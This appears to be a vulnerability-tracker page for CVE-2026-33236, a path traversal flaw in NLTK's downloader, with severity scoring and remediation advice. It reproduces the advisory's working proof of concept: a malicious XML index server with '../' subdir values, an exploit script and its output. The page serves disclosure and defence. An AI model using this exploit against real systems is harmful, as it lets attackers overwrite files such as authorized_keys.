Skip to main content

Python CVE-2026-33236

HIGH
Path Traversal (CWE-22)
2026-03-19 https://github.com/nltk/nltk GHSA-469j-vmhf-r6v7
8.1
CVSS 3.1 · Vendor: https://github.com/nltk/nltk
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker controls remote XML index server
  2. Exploit
    NLTK downloader fetches malicious XML with path traversal sequences
  3. Execution
    Unvalidated `subdir`/`id` attributes processed
  4. Impact
    Arbitrary files created/overwritten on filesystem

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires NLTK downloader to fetch remote XML index files from attacker-controlled server. Victim must invoke NLTK download functionality (e.g., nltk.download()) which retrieves and processes malicious XML containing path traversal sequences in subdir/id attributes, leading to arbitrary file creation/overwrite.

Impact

The CVSS score of 8.1 (High) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H indicates a network-exploitable vulnerability with low attack complexity requiring only user interaction. The attack vector is network-based (AV:N) and requires no privileges (PR:N), making it accessible to unauthenticated remote attackers. The primary barrier is user interaction (UI:R) where a victim must be tricked into downloading from a malicious server URL, which is realistic in scenarios involving custom data sources, man-in-the-middle attacks on HTTP connections, or social engineering. The high integrity and availability impact combined with the existence of a complete proof-of-concept exploit including both malicious server and client code significantly elevates real-world risk. While no KEV status or EPSS data is provided, the technical simplicity of exploitation (directly serving malicious XML), the complete working POC, and the severe impact of arbitrary file overwrite make this a genuine high-priority issue requiring immediate attention for any deployment using NLTK's download functionality with non-default or potentially compromised servers.

Exploit ScenarioDerived

An attacker sets up a malicious HTTP server hosting a crafted XML index file containing path traversal sequences in the subdir attribute (e.g., subdir='../../../../../etc'). A data scientist or application using NLTK is tricked into downloading a corpus from this malicious server through social engineering, compromised documentation, or a man-in-the-middle attack downgrading HTTPS to HTTP. When the victim executes downloader.download() pointing to the attacker's server, NLTK parses the malicious XML and writes the downloaded file to /etc/passwd or other critical system files, potentially granting the attacker persistent access through SSH key injection or enabling privilege escalation through system file corruption.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 19, 2026

NLTK downloader contains a path traversal vulnerability that allows remote attackers to write arbitrary files to any location on the filesystem when a user downloads packages from a malicious server. Attackers controlling a remote XML index server can inject path traversal sequences (../) into package metadata to overwrite critical system files including /etc/passwd or SSH authorized_keys. A working proof-of-concept exploit exists demonstrating arbitrary file creation at /tmp/test_file.zip via malicious server and client script.

RemediationAI

Consult the GitHub Security Advisory at https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7 for the official patch and upgrade to the fixed version of NLTK as specified by the maintainers. Until patching is possible, implement multiple defensive layers: restrict NLTK downloader to only use trusted official servers by avoiding custom server_index_url parameters, implement network-level controls to prevent connections to untrusted servers, validate and sanitize all downloaded content in an isolated environment before production use, and consider using HTTPS-only connections with certificate pinning to prevent man-in-the-middle attacks that could redirect to malicious servers. For high-security environments, pre-download required NLTK data packages from trusted sources and distribute them through internal channels rather than allowing runtime downloads. Review filesystem permissions to ensure the user running NLTK processes has minimal write access to reduce the impact of successful exploitation.

Affected Packages

pypi nltk fix: 3.9.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NLTK (Natural Language Toolkit) is a widely-used Python library for natural language processing that includes a downloader component for fetching datasets and models. The affected product is pkg:pip/nltk as identified in the CPE data. The vulnerability stems from CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), where the downloader.py module directly concatenates user-controlled XML attributes 'subdir' and 'id' into file paths without validation at lines 253, 679, 687, and 695. When parsing remote XML index files, the Package.fromxml() method constructs filenames using os.path.join(subdir, id + ext) without sanitizing path traversal sequences, allowing directory escape through sequences like '../../../../../tmp'. This bypasses the intended download_dir restriction and enables writing to arbitrary filesystem locations.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nltk/nltk) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
SUSE HIGH
Red Hat 8.1 HIGH

Primary rating from Vendor (https://github.com/nltk/nltk).

CVSS VectorVendor: https://github.com/nltk/nltk

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

  1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
  2. Arbitrary File Creation: Create arbitrary files
  3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253)

python
self.filename = os.path.join(subdir, id + ext)
  • subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679)

python
filepath = os.path.join(download_dir, info.filename)
  • Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687)

python
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)
  • Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695)

python
with open(filepath, "wb") as outfile:
  • Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

  1. System File Overwrite

Reproduction Steps

Environment Setup

  1. Install NLTK
bash
pip install nltk
  1. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server

bash
python3 malicious_server.py

Step 2: Run exploit script

bash
python3 exploit_vulnerability.py

Step 3: Verify results

bash
ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

python
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp"
             url="http://127.0.0.1:8888/test.zip"
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        pass
# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

python
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")
# Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)
# Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 193 pypi packages depend on nltk (46 direct, 147 indirect)

Ecosystem-wide dependent count for version 3.9.4.

Executive ViewAI

Why It Matters

A critical vulnerability in NLTK's package downloader allows attackers to overwrite arbitrary files on systems where NLTK packages are downloaded, potentially compromising system integrity and enabling unauthorized access. Organizations using NLTK for machine learning or NLP tasks face immediate risk of data breach, system compromise, and operational disruption if users download packages from compromised or malicious servers.

Business Impact: High
Compensating Controls

Restrict NLTK downloader access via network firewall rules to prevent communication with untrusted remote servers; disable NLTK's automatic downloader feature and use pre-cached, validated packages only; implement file integrity monitoring on critical system directories (/etc, /root/.ssh); require all NLTK usage through containerized environments with restricted filesystem permissions; use network segmentation to isolate data science workstations from production systems.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)CVE.org

pkg:pip/nltk

Related Vulnerabilities in NLTK Multiple Security Issues

View all 2

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy